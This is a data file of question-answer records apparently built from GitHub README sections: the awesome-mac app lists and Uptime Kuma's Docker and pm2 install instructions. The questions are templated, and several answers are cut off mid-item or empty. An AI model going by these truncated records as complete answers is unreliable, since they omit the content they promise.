[Dissolv](https://www.7sols.com/dissolv/) - Hide and close inactive apps. [![App Store][app-store Icon]](https://apps.apple.com/app/dissolv/id1640893012)\n* [Divvy](http://mizage.com/divvy/) - Window management at its finest with its amazing Divvy Grid system.\n* [Hummingbird](https://finestructure.co/hummingbird) - Easily move and resize windows without mouse clicks, from anywhere within a window.  [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/finestructure/Hummingbird)\n* [IntelliDock](https://mightymac.app/intellidock/) - Hides the Dock, Automatically.\n* [JankyBorders](https://github.com/FelixKratz/JankyBorders) - A lightweight window border system for macOS. [![Open-Source Software][OSS Icon]](https://github.com/FelixKratz/JankyBorders) ![Freeware][Freeware Icon]\n* [Loop](https://github.com/MrKai77/Loop) - Window management made elegant. [Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/MrKai77/Loop)\n* [MacsyZones](https://macsyzones.com/) - Organize your windows with ease and boost your productivity. [![Open-Source Software][OSS Icon]](https://github.com/rohanrhu/MacsyZones) ![Freeware][Freeware Icon]\n* [Lasso](https://thelasso.app) - Intuitive and easy to use grid-based window manager.\n* [Magnet](http://magnet.crowdcafe.com/) - Window manager that keeps your workspace organized. [![App Store][app-store Icon]](https://itunes.apple.com/us/app/id441258766)\n* [MakeItHome](https://github.com/Geckos-Ink/MakeItHome) - Extends your macOS' UI allowing you to access with the pointer in the \"over screen\", an extension of the interface for accessing quick actions, mainly fast switch of the most used running applications. ![Open-Source Software][OSS Icon] [![App Store][app-store Icon]](https://apps.apple.com/it/app/makeithome-screen-extender/id6444596296?l=en-GB&mt=12)\n* [Moom](http://manytricks.com/moom/) - Allows you to easily move and zoom windows, or to another display—using either the mouse or the keyboard.\n* [Omni](https://github.com/BarutSRB/OmniWM) - Notorized Niri and Hyprland inspired tiling window manager with animations. [![Open-Source Software][OSS Icon]](https://github.com/BarutSRB/OmniWM) ![Freeware][Freeware Icon]\n* [rcmd](https://lowtechguys.com/rcmd/) - Use the\n⌘ Right Command\nkey to switch applications based on their name. [![App Store][app-store Icon]](https://apps.apple.com/us/app/rcmd-app-switcher/id1596283165)\n* [Rectangle-app](https://github.com/rxhanson/Rectangle) - Rectangle is a window management app based on Spectacle, written in Swift. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/rxhanson/Rectangle)\n* [ShiftIt](https://github.com/fikovnik/ShiftIt) - Managing window size and position in OSX. [![Open-Source Software][OSS Icon]](https://github.com/fikovnik/ShiftIt) ![Freeware][Freeware Icon]\n* [Sidebar](http://sidebarapp.net/) - The modern Dock replacement for your Mac.\n* [SizeUp](http://www.irradiatedsoftware.com/sizeup/) - Powerful, keyboard-centric window management.\n* [Slate](https://github.com/jigish/slate) - Window management application similar to Divvy and SizeUp (except better and free!). (**Needs config file**) [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/jigish/slate)\n* [Swift Shift](https://swiftshift.app) - Use your mouse with a keyboard shortcut to move and resize your windows quickly. It offers options to customize the draggable areas and mouse behavior. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/pablopunk/swiftshift)\n* [Tiles](https://freemacsoft.net/tiles/) - Easily reorganize windows by", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443643"}
{"id": "gh_b58fb44b2bf5", "question": "How to: Password Management", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [1Password](https://1password.com/) - Cross-platform password management tool.\n* [Bitwarden](https://bitwarden.com) - Open source password management tool for Mac OS, iOS and browsers. [![Open-Source Software][OSS Icon]](https://github.com/bitwarden) ![Freeware][Freeware Icon]\n* [Buttercup](https://buttercup.pw/) - The Password Manager You Deserve ![Freeware][Freeware Icon]\n* [Dashlane](https://www.dashlane.com) - Cloud-based password manager with award-winning design.\n* [Enpass](https://www.enpass.io/) - Cross-platform password management tool with cloud integration. [![App Store][app-store Icon]](https://itunes.apple.com/us/app/enpass-password-manager/id455566716)\n* [Keyzer](https://apps.apple.com/app/Keyzer/6500434773) - Simple password manager that supports saving portable password files.\n* [Keeweb](https://keeweb.info/) - Free, cross-platform password manager compatible with KeePass. [![Open-Source Software][OSS Icon]](https://github.com/keeweb/keeweb) ![Freeware][Freeware Icon]\n* [KeepassXC](https://keepassxc.org/) - Free, open source, cross-platform password manager. [![Open-Source Software][OSS Icon]](https://github.com/keepassxreboot/keepassxc) ![Freeware][Freeware Icon]\n* [MacPass](https://macpass.github.io/) - Open-source KeePass Mac OS client. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/mstarke/MacPass)\n* [SafeInCloud](https://safe-in-cloud.com/en/) - Cross Platform password management, low cost app! [![App Store][app-store Icon]](https://itunes.apple.com/app/safeincloud-password-manager/id883070818)\n* [Strongbox](https://strongboxsafe.com/) - Secure Password Management for iOS and MacOS. Open Source. Compatible with KeePass and Password Safe. [![Open-Source Software][OSS Icon]](https://github.com/strongbox-password-safe/Strongbox) [![App Store][app-store Icon]](https://apps.apple.com/us/app/strongbox/id1270075435?mt=12)\n* [Swifty](https://getswifty.pro/) - Free Offline-first Password Manager for MacOS, Windows and Linux. [![Open-Source Software][OSS Icon]](https://github.com/swiftyapp/swifty) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443651"}
{"id": "gh_d631c6a7fd28", "question": "How to: Finder Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Command X](https://sindresorhus.com/command-x) - Cut and paste files in Finder. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1666327168)\n* [Default Folder X](https://www.stclairsoft.com/DefaultFolderX/index.html) - Quick access to your files and folders in every app.\n* [FileMinutes](https://www.fileminutes.com/) - Find files and take actions, all in one.\n* [FinderFix](https://synappser.github.io/apps/finderfix/) - Finally, a lasting solution for Finder windows size and position. ![Freeware][Freeware Icon].\n* [FlowVision](https://github.com/netdcy/FlowVision) - RWaterfall-style Image Viewer for macOS. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/netdcy/FlowVision)\n* [fman](https://fman.io) - The first dual-pane file manager to integrate features from Sublime Text.\n* [ForkLift](http://binarynights.com/forklift/) - The most advanced dual pane file manager and file transfer client for macOS.\n* [Path Finder](http://www.cocoatech.com/pathfinder/) - File management app.\n* [QSpace](https://qspace.awehunt.com) - A clean and efficient Multi-view File Manager. [![App Store][app-store Icon]](https://apps.apple.com/us/app/id1469774098)\n* [RClick](https://github.com/wflixu/RClick) - Add new functionality to the macOS Finder context menu.  [![Open-Source Software][OSS Icon]](https://github.com/wflixu/RClick) ![Freeware][Freeware Icon]\n* [TotalFinder](http://totalfinder.binaryage.com/) - Chrome-styled Finder substitute.\n* [XtraFinder](https://www.trankynam.com/xtrafinder/) - Adds tabs and cut to Mac Finder. ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443658"}
{"id": "gh_b97770683a25", "question": "How to: Quality of Life Improvements", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Actions](https://github.com/sindresorhus/Actions) - Provides many useful actions for the Shortcuts app. [![Open-Source Software][OSS Icon]](https://github.com/sindresorhus/Actions) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1586435171)\n* [AI Actions](https://sindresorhus.com/ai-actions) - AI actions for the Shortcuts app. ![Freeware][Freeware Icon]\n* [DisplayBuddy](https://displaybuddy.app) - Control the brightness, contrast, input source and more of your external display directly from your Mac.\n* [f.lux](https://justgetflux.com/) - Makes the color of your computer's display adapt to the time of day. ![Freeware][Freeware Icon]\n* [Grayscale Mode](https://github.com/rkbhochalya/grayscale-mode) - An open source macOS app that lets you quickly toggle grayscale filter right from your menu bar or using a keyboard shortcut (⌥⌘G). [![Open-Source Software][OSS Icon]](https://github.com/rkbhochalya/grayscale-mode) ![Freeware][Freeware Icon]\n* [Hyperduck](https://sindresorhus.com/hyperduck) - Receive links from your iOS & visionOS devices. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1666327168)\n* [KeyCastr](https://github.com/keycastr/keycastr) - Open-source keystroke visualizer.  [![Open-Source Software][OSS Icon]](https://github.com/keycastr/keycastr) ![Freeware][Freeware Icon]\n* [Luminescent](https://naden.co) - Bring back Keyboard Backlight Shortcuts for the MacBook.\n* [Lunar](https://lunar.fyi/) -  Help you adujst brightness, contrast and volumn of your external display. [![Open-Source Software][OSS Icon]](https://github.com/alin23/Lunar) ![Freeware][Freeware Icon]\n* [Shifty](http://shifty.natethompson.io) - A macOS menu bar app that gives you more control over Night Shift. [![Open-Source Software][OSS Icon]](https://github.com/thompsonate/Shifty)\n* [Snap](http://indragie.com/snap) - Launch an app in a snap. Ridiculously easy shortcut management. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/id418073146)\n* [Shareful](https://sindresorhus.com/shareful) - Supercharge the system share menu with copy, save, and open actions. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1522267256)\n* [Mouse Jiggler for Mac](https://mousejigglermac.com) - Prevent Mac from sleep with Mac Mouse Mover. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id6740313656)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443668"}
{"id": "gh_07e6296d54c2", "question": "How to: System Related Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [AlDente](https://apphousekitchen.com/) - Battery charge limiter for MacBooks. [![Open-Source Software][OSS Icon]](https://github.com/davidwernhart/AlDente)\n* [Amphetamine](https://itunes.apple.com/us/app/amphetamine/id937984704) - Keep your Mac awake. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/us/app/amphetamine/id937984704)\n* [AdBlock One](https://cleanerone.trendmicro.com/ad-block-one-for-mac/?utm_source=github&utm_medium=referral&utm_campaign=githubproject) - Free ad blocker for Safari.![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/apple-store/id1491889901?pt=444218&ct=GitHub&mt=8)\n* [AppCleaner](http://freemacsoft.net/appcleaner/) - Thoroughly uninstall apps. ![Freeware][Freeware Icon]\n* [Apple Silicon App Test](https://doesitarm.com/apple-silicon-app-test/) - Check Apple Silicon app compatibility. [![Open-Source Software][OSS Icon]](https://github.com/ThatGuySam/doesitarm) ![Freeware][Freeware Icon]\n* [AirBattery](https://lihaoyun6.github.io/airbattery/) - View all device batteries in the Dock, menu bar, or widgets. [![Open-Source Software][OSS Icon]](https://github.com/lihaoyun6/AirBattery) ![Freeware][Freeware Icon]\n* [Background Music](https://github.com/kyleneideck/BackgroundMusic) - Control app volumes and record system audio. [![Open-Source Software][OSS Icon]](https://github.com/kyleneideck/BackgroundMusic)\n* [Cleaner One](https://apps.apple.com/app/apple-store/id1133028347?pt=444218&ct=GitHub&mt=8) - Disk cleaning and Mac optimization. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/apple-store/id1133028347?pt=444218&ct=GitHub&mt=8)\n* [Cleaner for Xcode](https://github.com/waylybaye/XcodeCleaner-SwiftUI) - Remove unwanted Xcode files. [![Open-Source Software][OSS Icon]](https://github.com/waylybaye/XcodeCleaner-SwiftUI) ![Freeware][Freeware Icon]\n* [coconutBattery](https://www.coconut-flavour.com/coconutbattery/) - Mac battery information and statistics.\n* [DaisyDisk](https://daisydiskapp.com/) - Disk usage analyzer and cleaner.\n* [Dayflow](https://github.com/JerryZLiu/Dayflow) - Screen activity timeline with AI support. [![Open-Source Software][OSS Icon]](https://github.com/JerryZLiu/Dayflow) ![Freeware][Freeware Icon]\n* [DockAnchor](https://github.com/bwya77/DockAnchor) - Lock the macOS Dock to a single screen in a multi-monitor setup. [![Open-Source Software][OSS Icon]](https://github.com/bwya77/DockAnchor) ![Freeware][Freeware Icon]\n* [everythingByMdfind](https://github.com/appledragon/everythingByMdfind) - Fast file search using Spotlight. [![Open-Source Software][OSS Icon]](https://github.com/appledragon/everythingByMdfind) ![Freeware][Freeware Icon]\n* [gfxCardStatus](https://gfx.io/) - Monitor graphics card usage and battery impact. ![Freeware][Freeware Icon]\n* [GrandPerspective](https://grandperspectiv.sourceforge.net) - Visualize disk usage with tree maps. [![Open-Source Software][OSS Icon]](https://git.code.sf.net/p/grandperspectiv/source) [![Freeware][Freeware Icon]](https://sourceforge.net/projects/grandperspectiv/files/grandperspective/) [![App Store][app-store Icon]](https://itunes.apple.com/us/app/grandperspective/id1111570163)\n* [Gray](https://github.com/zenangst/Gray) - Per-app light/dark mode switcher. ![Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/zenangst/Gray)\n* [HandShaker](http://www.smartisan.com/apps/handshaker) - Manage Android phone content on Mac. ![Freeware][Freeware Icon]\n* [iStat Menus](https://bjango.com/mac/istatmenus/) - Advanced system monitor for menubar.\n* [iStats](https://github.com/Chris911/iStats) - Command-line system information tool. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/Chris911/iStats)\n* [Juice](https://github.com/brianmichel/Juice) - Enhanced battery information display. [![Open-Source Software][OSS Icon]](https://github.com/brianmichel/Juice) ![Freeware][Freeware Icon]\n* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) - Caffeine alternative with dark mode support. [![Open-Source Software][OSS Icon]](https://github.com/newmarcel/KeepingYouAwake)\n* [MagicQuit](https://magicquit.com/) - Automatically closes unused apps on macOS to free memory, declutter the desktop, and improve battery life. [![Open-Source Software][OSS Icon]](https://github.com/BigBerny/magicquit) ![Freeware][Freeware Icon]\n* [MiddleDrag](https://github.com/NullPointerDepressiveDisorder/MiddleDrag) - Three-finger trackpad gestures for middle-click and middle-drag on macOS. [![Open-Source Software][OSS Icon]](https://github.com/NullPointerDepressiveDisorder/MiddleDrag) ![Freeware][Freeware Icon]\n* [Monity](http://www.monityapp.com/) - System monitoring widget for OS X.\n* [Mounty](http://enjoygineering.com/mounty/) - Tiny tool to re-mount write-protected NTFS volumes under Mac OS X 10.9+ in read-write mode. ![Freeware][Freeware Icon]\n* [NitroShare](https://nitroshare.net/) - C", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443682"}
{"id": "gh_846f02174774", "question": "How to: Gaming Software", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [OpenEmu](http://openemu.org/) - A great video game console emulator, supports many different emulators in a single application. (e.g. Sony PSP, GameBoy, NDS and so on) [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/OpenEmu/OpenEmu)\n* [PlayCover](https://github.com/PlayCover/PlayCover) - Run iOS apps and games on Apple Silicon Macs with mouse, keyboard and controller support. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/PlayCover/PlayCover)\n* [Porting Kit](http://portingkit.com/) - Install Windows® Games inside your Mac. ![Freeware][Freeware Icon]\n* [PPSSPP](https://www.ppsspp.org) - A awesome PSP emulator for any OS you can dream of! [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/hrydgard/ppsspp)\n* [RPCS3](https://rpcs3.net) - The Open-source PlayStation 3 Emulator [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/RPCS3/rpcs3)\n* [Ryubing](https://github.com/Ryubing) - A fork of the discontinued Switch emulator, Ryujinx. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/Ryubing)\n* [Suyu](https://suyu.dev/) - A familiar, open source, and powerful Nintendo Switch emulator. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://git.suyu.dev/suyu/suyu)\n* [Whisky](https://getwhisky.app/) - Wine wrapper that supports GPTK (Game Porting Toolkit) [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/Whisky-App/Whisky)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443689"}
{"id": "gh_6dd82e8fefdb", "question": "How to: Remote Login Software", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [AnyDesk](https://anydesk.com) - Provides remote access across multiple machines.\n* [Moonlight](https://github.com/moonlight-stream/moonlight-qt) - GameStream client for PCs (Windows, Mac, Linux, and Steam Link). [![Open-Source Software][OSS Icon]](https://github.com/moonlight-stream/moonlight-qt) ![Freeware][Freeware Icon]\n* [Parsec](https://parsec.app) - Parsec offers a seamless 4k experience at up to 60 frames per second with near-zero latency. Secure, flexible, effortless access to whatever you do, at any time, from wherever you go.\n* [RealVNC](https://www.realvnc.com) - The original and best software for remote access across desktop and mobile.\n* [RoyalTSX](https://www.royalapps.com/ts/mac/features) - Royal TSX is an ideal tool for system engineers and other IT professionals who need remote access to systems with different protocols. ![Freeware][Freeware Icon]\n* [RustDesk](https://rustdesk.com/) - Yet another remote desktop software. [![Open-Source Software][OSS Icon]](https://github.com/rustdesk/rustdesk) ![Freeware][Freeware Icon]\n* [Steam Link](https://apps.apple.com/us/app/steam-link/id1246969117) - The Steam Link app allows you to play your Steam games across all your computers. ![Freeware][Freeware Icon]\n* [Sunshine](https://github.com/LizardByte/Sunshine) - Self-hosted game stream host for Moonlight. [![Open-Source Software][OSS Icon]](https://github.com/LizardByte/Sunshine) ![Freeware][Freeware Icon]\n* [TeamViewer](https://www.teamviewer.com/en) - Proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing, and file transfer between computers. ![Freeware][Freeware Icon]\n* [Windows App](https://apps.apple.com/us/app/windows-app/id1295203466) - Connect to a remote PC or virtual apps and desktops made available by your admin. ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443697"}
{"id": "gh_c9dff1658d5b", "question": "How to: QuickLook Plugins", "question_body": "About jaywcjlove/awesome-mac", "answer": "> [![Awesome List][awesome-list Icon]](https://github.com/sindresorhus/quick-look-plugins#readme)\n\n* [QLMarkdown](https://github.com/sbarex/QLMarkdown) - Quick Look extension for Markdown files. - ![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]\n* [quick-look-plugins](https://github.com/sindresorhus/quick-look-plugins) - List of useful [Quick Look](https://en.wikipedia.org/wiki/Quick_Look) plugins for developers\n* [Syntax Highlight](https://github.com/sbarex/SourceCodeSyntaxHighlight) - Quick Look extension for highlight source code files. - ![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443702"}
{"id": "gh_4225ef0e04ec", "question": "How to: Third Party App Markets", "question_body": "About jaywcjlove/awesome-mac", "answer": "If you come across websites offering pirated software or cracks, please post [HERE](https://github.com/jaywcjlove/awesome-mac/issues/17). We love apps, but only authentic ones. :)\n\n* [Setapp](https://setapp.sjv.io/c/6018600/343321/5114) - The best free and paid apps (like CleanShot, Bartender, Paste, TablePlus, etc.) in one suite for only 10$/month!", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443706"}
{"id": "gh_507e5abce2fb", "question": "How to: Package Managers", "question_body": "About jaywcjlove/awesome-mac", "answer": "*Here are some of the major software download sites, there are a number of OSX Mac software sites*\n\n* [Applite](https://aerolite.dev/applite) - User-friendly GUI app for Homebrew Casks. Install, update, and uninstall apps with a single click. ![Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/milanvarady/Applite)\n* [Cork](https://corkmac.app) - An intuitive and complete Homebrew GUI written in SwiftUI that supports all Homebrew features. [![Open-Source Software][OSS Icon]](https://github.com/buresdv/cork)\n* [Homebrew](https://brew.sh/) - The missing package manager for macOS. ![Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/Homebrew/brew/)\n* [MacPorts](https://www.macports.org/) - Open-source community initiative to design an easy-to-use system for compiling, installing, and upgrading either command-line, X11 or Aqua based open-source software on the Mac OS X operating system. ![Freeware][Freeware Icon] [![Open-Source Software][OSS Icon]](https://github.com/macports/)\n* [MacUpdate Desktop](https://www.macupdate.com/) - Simplifies finding, buying and installing apps for your Mac.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443712"}
{"id": "gh_70cefeca5dcc", "question": "How to: Mac App Download Sites", "question_body": "About jaywcjlove/awesome-mac", "answer": "*Here are some of the major software download sites, there are a number of OSX Mac software sites*", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443716"}
{"id": "gh_92c9c79afa51", "question": "How to: Genuine Sites", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [alternativeTo](http://alternativeto.net/) - Also a very nice community. If you are looking for some alternative apps **FOR** Windows or another platform, check this site.\n* [Slant](https://www.slant.co) - I personally recommend this. This is a platform where you can compare apps side-by-side, you might get an idea by seeing other users recommendations. Please contribute if you find an application from this list!\n* Also, [Quora](https://www.quora.com/), [Reddit](https://www.reddit.com), you know the drill.\n* App Shopper：[http://appshopper.com/](http://appshopper.com/)\n* [Buy software, once](https://buyoncesoftware.com/) - The place to find all the software you can buy one time, and own for a lifetime.\n* [Open Alternative](https://openalternative.co/) - Discover Open Source Alternatives to Popular Software. A curated collection of the best open source alternatives to everyday SaaS products. Save money with reliable tools hand-picked for you.\n* MacUpdate：[https://www.macupdate.com/](https://www.macupdate.com/)\n* Other sites like [MacStories](https://www.macstories.net/), [LifeHacker](http://lifehacker.com/), [ProductHunt](https://www.producthunt.com/topics/mac) are great resources.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443724"}
{"id": "gh_52d5acb29575", "question": "How to: Pirated software download site blocklist", "question_body": "About jaywcjlove/awesome-mac", "answer": "*Refuse piracy from me. Software vendors can go to these places rights.*\n\n* AppKed：~~`http://www.macbed.com`~~\n* Softasm：~~`https://softasm.com/`~~\n* Appstorrent：~~`http://appstorrent.ru/`~~", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443729"}
{"id": "gh_a84553d00e50", "question": "How to: Contributors", "question_body": "About jaywcjlove/awesome-mac", "answer": "This project exists thanks to all the people who contribute.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443735"}
{"id": "gh_f2bfb145d748", "question": "How to: Uptime Kuma", "question_body": "About louislam/uptime-kuma", "answer": "Uptime Kuma is an easy-to-use self-hosted monitoring tool.\n[![GitHub Sponsors](https://img.shields.io/github/sponsors/louislam?label=GitHub%20Sponsors)](https://github.com/sponsors/louislam)", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883684"}
{"id": "gh_f00cac416580", "question": "How to: 🥔 Live Demo", "question_body": "About louislam/uptime-kuma", "answer": "Try it!\n\nDemo Server (Location: Frankfurt - Germany):\nIt is a temporary live demo, all data will be deleted after 10 minutes. Sponsored by [Uptime Kuma Sponsors](https://github.com/louislam/uptime-kuma#%EF%B8%8F-sponsors).", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883700"}
{"id": "gh_7f2005439359", "question": "How to: 🐳 Docker Compose", "question_body": "About louislam/uptime-kuma", "answer": "```bash\nmkdir uptime-kuma\ncd uptime-kuma\ncurl -o compose.yaml https://raw.githubusercontent.com/louislam/uptime-kuma/master/compose.yaml\ndocker compose up -d\n```\n\nUptime Kuma is now running on all network interfaces (e.g. http://localhost:3001 or http://your-ip:3001).\n\n> [!WARNING]\n> File Systems like **NFS** (Network File System) are **NOT** supported. Please map to a local directory or volume.", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": true, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883718"}
{"id": "gh_ad6d40182387", "question": "How to: 🐳 Docker Command", "question_body": "About louislam/uptime-kuma", "answer": "```bash\ndocker run -d --restart=always -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:2\n```\n\nUptime Kuma is now running on all network interfaces (e.g. http://localhost:3001 or http://your-ip:3001).\n\nIf you want to limit exposure to localhost only:\n\n```bash\ndocker run ... -p 127.0.0.1:3001:3001 ...\n```", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 81481, "answer_score": 10, "has_code": true, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883724"}
{"id": "gh_8a1ec5783428", "question": "How to: 💪🏻 Non-Docker", "question_body": "About louislam/uptime-kuma", "answer": "Requirements:\n\n- Platform\n  - ✅ Major Linux distros such as Debian, Ubuntu, Fedora and ArchLinux etc.\n  - ✅ Windows 10 (x64), Windows Server 2012 R2 (x64) or higher\n  - ❌ FreeBSD / OpenBSD / NetBSD\n  - ❌ Replit / Heroku\n- [Node.js](https://nodejs.org/en/download/) >= 20.4\n- [Git](https://git-scm.com/downloads)\n- [pm2](https://pm2.keymetrics.io/) - For running Uptime Kuma in the background\n\n```bash\ngit clone https://github.com/louislam/uptime-kuma.git\ncd uptime-kuma\nnpm run setup", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 81481, "answer_score": 10, "has_code": true, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883734"}
{"id": "gh_4b9e58d14588", "question": "How to: Start Server", "question_body": "About louislam/uptime-kuma", "answer": "pm2 start server/server.js --name uptime-kuma\n```\n\nUptime Kuma is now running on all network interfaces (e.g. http://localhost:3001 or http://your-ip:3001).\n\nMore useful PM2 Commands\n\n```bash", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 81481, "answer_score": 10, "has_code": true, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883741"}
{"id": "gh_caeacf7e7cea", "question": "How to: Advanced Installation", "question_body": "About louislam/uptime-kuma", "answer": "If you need more options or need to browse via a reverse proxy, please read:", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883748"}
{"id": "gh_000d54a63548", "question": "How to: 🆙 How to Update", "question_body": "About louislam/uptime-kuma", "answer": "Please read:", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883754"}
